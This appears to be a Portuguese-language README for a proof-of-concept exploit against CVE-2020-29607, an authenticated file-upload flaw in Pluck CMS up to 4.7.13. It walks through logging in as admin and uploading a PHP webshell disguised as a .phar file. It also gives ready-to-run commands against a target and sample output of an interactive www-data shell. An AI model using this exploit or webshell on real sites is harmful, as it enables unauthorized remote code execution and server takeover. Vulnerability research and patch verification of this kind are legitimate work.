CVE-2020-29607 — Pluck CMS <= 4.7.13 Upload de Arquivo Autenticado RCE (PoC)

Execução remota de código autenticada no Pluck CMS anterior à versão 4.7.13. O gerenciador de arquivos do admin (admin.php?action=files) não valida extensões de arquivos, permitindo o upload de arquivos .phar que o Apache executa como PHP. Fazer upload de um webshell através deste endpoint resulta em RCE como o usuário do servidor web.

Como funciona

1. Autentica usando a senha de admin fornecida.
2. Faz upload de um webshell PHP como shell.phar através do gerenciador de arquivos do admin.
3. Verifica a execução requisitando o shell e executando id.
4. Abre um loop de comandos interativo contra o webshell enviado.

Requisitos

• Python 3
• Instalar dependências:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

Uso

# Pluck at root
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD

# Pluck in a subdirectory
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD --path /pluck

Exemplo:

$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] Logging in...
[+] Logged in
[*] Uploading webshell...
[+] Webshell uploaded
[*] Shell URL: http://10.10.10.10/files/shell.phar
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data

Referências

• CVE-2020-29607
• EDB-49909
• PoC original por Ron Jost (Hacker5preme)

Créditos

• Descoberta e exploit original: Ron Jost (Hacker5preme)
• Portabilidade para Python 3 & shell interativo: Esteban Zárate